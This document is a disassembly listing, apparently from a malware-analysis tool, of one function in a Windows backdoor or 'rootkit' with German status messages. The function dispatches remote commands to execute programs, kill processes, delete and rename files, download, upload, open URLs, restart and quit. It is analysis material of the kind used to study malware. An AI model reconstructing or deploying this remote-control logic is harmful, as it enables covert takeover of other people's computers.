Function at 0x40178f
Capabilities:
Create process on windows
Delete file
Self delete
Terminate process

Disassembly:
push ebp
lea ebp, [esp - 0x210c]
mov eax, 0x210c
call fcn.004115f0
push 0xffffffffffffffff
push 0x412a69
mov eax, dword fs:[0]
push eax
sub esp, 0x4c
mov eax, dword [0x417740]
xor eax, ebp
mov dword [ebp + 0x2108], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov eax, dword [ebp + 0x2114]
push 0x414f60
xor ebx, ebx
push eax
mov dword [ebp - 0x14], ebx
call fcn.004054ab
mov esi, eax
cmp esi, ebx
jmp 0x401839
mov eax, dword [ebp - 0x14]
lea eax, [eax*4 + 4]
push eax
push ebx
call fcn.004047cd
mov ebx, eax
pop ecx
mov eax, esi
pop ecx
lea edi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401805
sub eax, edi
inc eax
push eax
call fcn.0040451c
pop ecx
mov ecx, dword [ebp - 0x14]
mov dword [ebx + ecx*4], eax
mov cl, byte [esi]
inc esi
mov byte [eax], cl
inc eax
test cl, cl
jne 0x40181c
push 0x414f60
push 0
call fcn.004054ab
inc dword [ebp - 0x14]
mov esi, eax
test esi, esi
pop ecx
pop ecx
jne 0x4017eb
and dword [ebp - 0x18], 0
cmp dword [ebp - 0x14], 0
jle 0x401887
mov eax, dword [ebp - 0x18]
mov esi, dword [ebx + eax*4]
mov eax, esi
xor ecx, ecx
lea edi, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x401854
sub eax, edi
je 0x40187c
cmp byte [esi + ecx], 0x60
jne 0x401869
mov byte [esi + ecx], 0x20
mov eax, esi
inc ecx
lea edi, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x40186f
sub eax, edi
cmp ecx, eax
jb 0x40185f
inc dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
cmp eax, dword [ebp - 0x14]
jl 0x401847
and dword [ebp - 4], 0
cmp dword [ebp - 0x14], 2
jl 0x401dfe
mov eax, dword [ebx]
push 0xb
mov edi, str.messagebox
mov esi, eax
pop ecx
xor edx, edx
repe cmpsb byte [esi], byte es:[edi]
jne 0x401943
cmp dword [ebp - 0x14], 2
jle 0x4018bd
push dword [ebx + 0xc]
call fcn.004058be
pop ecx
push eax
jmp 0x4018bf
push 0
push dword [ebx + 8]
push dword [ebx + 4]
call dword [sym.imp.USER32.dll_GetForegroundWindow]
push eax
call dword [sym.imp.USER32.dll_MessageBoxA]
dec eax
cmp eax, 0xa
ja case.0x4018d8.8
jmp dword [eax*4 + 0x401f73]
mov edx, str.Es_wurde_Abbrechen_gedr
jmp 0x401f27
mov edx, str.Es_wurde_Cancel_gedr
jmp 0x401f27
mov edx, str.Es_wurde_Fortfahren_gedr
jmp 0x401f27
mov edx, str.Es_wurde_Ignorieren_gedr
jmp 0x401f27
mov edx, str.Es_wurde_Nein_gedr
jmp 0x401f27
mov edx, str.Es_wurde_OK_gedr
jmp 0x401f27
mov edx, str.Es_wurde_Wiederholen_gedr
jmp 0x401f27
mov edx, str.Es_wurde_Try_Again_gedr
jmp 0x401f27
mov edx, str.Es_wurde_Ja_gedr
jmp 0x401f27
mov edx, str.Es_wurde_ein_unbekannter_Button_gedr
jmp 0x401f27
push 9
mov edi, str.backdoor
mov esi, eax
pop ecx
xor edx, edx
repe cmpsb byte [esi], byte es:[edi]
jne 0x4019b5
mov esi, dword [ebx + 4]
push 4
mov edi, 0x4150b4
pop ecx
xor eax, eax
repe cmpsb byte [esi], byte es:[edi]
jne 0x40197c
mov esi, dword [0x418d00]
mov edx, str.tdBackdoor___wurde_beendet.
call fcn.004039e0
push 0
call fcn.004045df
pop ecx
mov esi, dword [ebx + 4]
push 8
mov edi, str.restart
pop ecx
xor eax, eax
repe cmpsb byte [esi], byte es:[edi]
jne 0x401f32
mov esi, dword [0x418d00]
mov edx, str.tdBackdoor___wird_neugestartet.
call fcn.004039e0
push 1
mov byte [0x418d08], 1
call fcn.004045df
pop ecx
jmp 0x401f32
push 8
mov edi, str.execute
mov esi, eax
pop ecx
xor edx, edx
repe cmpsb byte [esi], byte es:[edi]
jne 0x401a8d
xor eax, eax
cmp dword [ebp - 0x14], 2
jle 0x401a24
push dword [ebx + 8]
mov edi, 0xfff
lea eax, [ebp + 0x1000]
push edi
push eax
call fcn.00404468
add esp, 0xc
push 3
pop esi
cmp dword [ebp - 0x14], esi
jle 0x401a1e
cmp esi, dword [ebp - 0x14]
jge 0x401a1e
push 0x414f60
lea eax, [ebp + 0x1000]
push edi
push eax
call fcn.00404a61
push dword [ebx + esi*4]
lea eax, [ebp + 0x1000]
push edi
push eax
call fcn.00404a61
add esp, 0x18
inc esi
jmp 0x4019f1
lea eax, [ebp + 0x1000]
xor ecx, ecx
push ecx
push ecx
push eax
push dword [ebx + 4]
push str.open
push ecx
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp eax, 0x20
mov esi, dword [0x418d00]
jle 0x401a6a
mov edx, str.Das_Programm_wurde_gestartet.
call fcn.004039e0
test eax, eax
jge 0x401f32
mov dword [ebp - 0x30], str.Send__
push 0x415ee8
lea eax, [ebp - 0x30]
push eax
call fcn.0040a64c
mov edx, str.Das_Programm_konnte_nicht_gestartet_werden.
call fcn.004039e0
test eax, eax
jge 0x401f32
mov dword [ebp - 0x48], str.Send__
push 0x415ee8
lea eax, [ebp - 0x48]
jmp 0x401a64
push 4
mov edi, 0x415150
mov esi, eax
pop ecx
xor edx, edx
repe cmpsb byte [esi], byte es:[edi]
jne 0x401be4
mov edi, 0xfff
push edi
push edx
lea eax, [ebp + 0x1000]
push eax
call fcn.00407230
push dword [ebx + 4]
lea eax, [ebp]
push edi
push eax
call fcn.00404468
add esp, 0x18
push 2
pop esi
cmp dword [ebp - 0x14], esi
jle 0x401af3
cmp esi, dword [ebp - 0x14]
jge 0x401af3
push 0x414f60
lea eax, [ebp]
push edi
push eax
call fcn.00404a61
push dword [ebx + esi*4]
lea eax, [ebp]
push edi
push eax
call fcn.00404a61
add esp, 0x18
inc esi
jmp 0x401acc
lea eax, [ebp]
push 0x415154
push eax
call fcn.00403d03
test eax, eax
pop ecx
pop ecx
mov dword [ebp - 0x18], eax
jne 0x401b32
mov esi, dword [0x418d00]
mov edx, str.Der_Befehl_konnte_nicht_ausgefuehrt_werden_
call fcn.004039e0
test eax, eax
jge 0x401b32
mov dword [ebp - 0x50], str.Send__
push 0x415ee8
lea eax, [ebp - 0x50]
jmp 0x401a64
push dword [ebp - 0x18]
lea eax, [ebp + 0x1000]
push edi
push eax
call fcn.00405324
add esp, 0xc
test eax, eax
je 0x401ba2
lea eax, [ebp + 0x1000]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401b52
mov esi, dword [0x418d00]
sub eax, edx
push eax
lea edx, [ebp + 0x1000]
call fcn.004039e0
test eax, eax
pop ecx
jge 0x401b86
mov dword [ebp - 0x4c], str.Send__
push 0x415ee8
lea eax, [ebp - 0x4c]
jmp 0x401a64
push edi
lea eax, [ebp + 0x1000]
push 0
push eax
call fcn.00407230
add esp, 0xc
push 0x6e
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x401b32
push dword [ebp - 0x18]
call fcn.00403b36
test eax, eax
pop ecx
je 0x401bb8
push dword [ebp - 0x18]
call fcn.0040422f
pop ecx
mov esi, dword [0x418d00]
mov edx, str._end_
call fcn.004039e0
test eax, eax
jge 0x401f32
mov dword [ebp - 0x3c], str.Send__
push 0x415ee8
lea eax, [ebp - 0x3c]
jmp 0x401a64
push 5
mov edi, str.kill
mov esi, eax
pop ecx
xor edx, edx
repe cmpsb byte [esi], byte es:[edi]
jne 0x401cac
xor eax, eax
cmp dword [ebp - 0x14], 2
jle 0x401c09
push dword [ebx + 8]
call fcn.004058be
pop ecx
push eax
push dword [ebx + 4]
call fcn.004058be
pop ecx
push eax
call fcn.00402075
sub eax, 0
je 0x401c80
dec eax
je 0x401c54
dec eax
jne 0x401f32
mov esi, dword [0x418d00]
mov edx, str.Der_Prozess_wurde_mithilfe_von_TerminateProcess___beendet.
call fcn.004039e0
test eax, eax
jge 0x401f32
mov dword [ebp - 0x28], str.Send__
push 0x415ee8
lea eax, [ebp - 0x28]
jmp 0x401a64
mov esi, dword [0x418d00]
mov edx, str.Der_Prozess_wurde_mithilfe_von_WM_CLOSE_beendet.
call fcn.004039e0
test eax, eax
jge 0x401f32
mov dword [ebp - 0x40], str.Send__
push 0x415ee8
lea eax, [ebp - 0x40]
jmp 0x401a64
mov esi, dword [0x418d00]
mov edx, str.Der_Prozess_konnte_nicht_beendet_werden_
call fcn.004039e0
test eax, eax
jge 0x401f32
mov dword [ebp - 0x1c], str.Send__
push 0x415ee8
lea eax, [ebp - 0x1c]
jmp 0x401a64
push 6
mov edi, str.visit
mov esi, eax
pop ecx
xor edx, edx
repe cmpsb byte [esi], byte es:[edi]
jne 0x401cd6
push 0xa
xor eax, eax
push eax
push eax
push dword [ebx + 4]
push str.open
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
jmp 0x401f32
push 7
mov edi, str.delete
mov esi, eax
pop ecx
xor edx, edx
repe cmpsb byte [esi], byte es:[edi]
jne 0x401d46
push dword [ebx + 4]
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
cmp eax, 1
mov esi, dword [0x418d00]
jne 0x401d20
mov edx, str.Datei_wurde_geloescht.
call fcn.004039e0
test eax, eax
jge 0x401f32
mov dword [ebp - 0x44], str.Send__
push 0x415ee8
lea eax, [ebp - 0x44]
jmp 0x401a64
mov edx, str.Datei_konnte_nicht_geloescht_werden.
call fcn.004039e0
test eax, eax
jge 0x401f32
mov dword [ebp - 0x38], str.Send__
push 0x415ee8
lea eax, [ebp - 0x38]
jmp 0x401a64
push 7
mov edi, str.search
mov esi, eax
pop ecx
xor edx, edx
repe cmpsb byte [esi], byte es:[edi]
je 0x401f32
push 7
mov edi, str.rename
mov esi, eax
pop ecx
xor edx, edx
repe cmpsb byte [esi], byte es:[edi]
jne 0x401dcd
push dword [ebx + 8]
push dword [ebx + 4]
call fcn.0040587f
test eax, eax
mov esi, dword [0x418d00]
pop ecx
pop ecx
jne 0x401da7
mov edx, str.Datei_wurde_umbenannt.
call fcn.004039e0
test eax, eax
jge 0x401f32
mov dword [ebp - 0x20], str.Send__
push 0x415ee8
lea eax, [ebp - 0x20]
jmp 0x401a64
mov edx, str.Datei_konnte_nicht_umbennant_werden.
call fcn.004039e0
test eax, eax
jge 0x401f32
mov dword [ebp - 0x24], str.Send__
push 0x415ee8
lea eax, [ebp - 0x24]
jmp 0x401a64
push 9
mov edi, str.download
mov esi, eax
pop ecx
xor edx, edx
repe cmpsb byte [esi], byte es:[edi]
jne 0x401dea
push dword [ebx + 4]
call fcn.00402428
jmp 0x4019af
mov esi, eax
push 7
mov edi, str.upload
pop ecx
xor eax, eax
repe cmpsb byte [esi], byte es:[edi]
je 0x401f32
cmp dword [ebp - 0x14], 1
jl 0x401f22
mov eax, dword [ebx]
push 7
mov edi, str.uptime
mov esi, eax
pop ecx
xor edx, edx
repe cmpsb byte [esi], byte es:[edi]
jne 0x401e28
push edx
call fcn.00402c3a
pop ecx
mov edx, eax
jmp 0x401f27
push 5
mov edi, str.quit
mov esi, eax
pop ecx
xor edx, edx
repe cmpsb byte [esi], byte es:[edi]
jne 0x401e4f
mov esi, dword [0x418d00]
mov edx, str.Rootkit_wird_beendet_
call fcn.004039e0
push 0
call fcn.0040509d
push 8
mov edi, str.restart
mov esi, eax
pop ecx
xor edx, edx
repe cmpsb byte [esi], byte es:[edi]
jne 0x401ea2
push 0x104
lea eax, [ebp + 0x2000]
push eax
xor edi, edi
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov ebx, dword [ebx + 4]
mov esi, dword [0x418d00]
push ebx
mov edx, str.Rootkit_wird_mit_dem_Parameter__s_neugestartet_
call fcn.004039e0
pop ecx
push edi
push edi
push ebx
lea eax, [ebp + 0x2000]
push eax
push str.open
push edi
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push edi
jmp 0x401e4a
push 5
mov edi, str.view
mov esi, eax
pop ecx
xor edx, edx
repe cmpsb byte [esi], byte es:[edi]
jne 0x401ee3
call fcn.00401f9f
test al, al
jne 0x401f32
mov esi, dword [0x418d00]
mov edx, str.Fehler_bei:_Process32First__
call fcn.004039e0
test eax, eax
jge 0x401f32
mov dword [ebp - 0x2c], str.Send__
push 0x415ee8
lea eax, [ebp - 0x2c]
jmp 0x401a64
mov esi, eax
push 7
mov edi, str.logout
pop ecx
xor eax, eax
repe cmpsb byte [esi], byte es:[edi]
jne 0x401f22
mov esi, dword [0x418d00]
mov edx, str.Sie_haben_sich_erfolgreich_ausgeloggt_
call fcn.004039e0
mov dword [ebp - 0x34], str.User_logged_out
push 0x415ee8
lea eax, [ebp - 0x34]
jmp 0x401a64
mov edx, str.Unbekannter_Befehl_..._Bitte_beachten_Sie_den_Namen_und_die_Parameter_
mov esi, dword [0x418d00]
call fcn.004039e0
xor esi, esi
cmp esi, dword [ebp - 0x14]
jge 0x401f45
push dword [ebx + esi*4]
call fcn.00403aa8
pop ecx
inc esi
jmp 0x401f34
push ebx
call fcn.00403aa8
pop ecx
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x2108]
xor ecx, ebp
call fcn.00405129
add ebp, 0x210c
leave
ret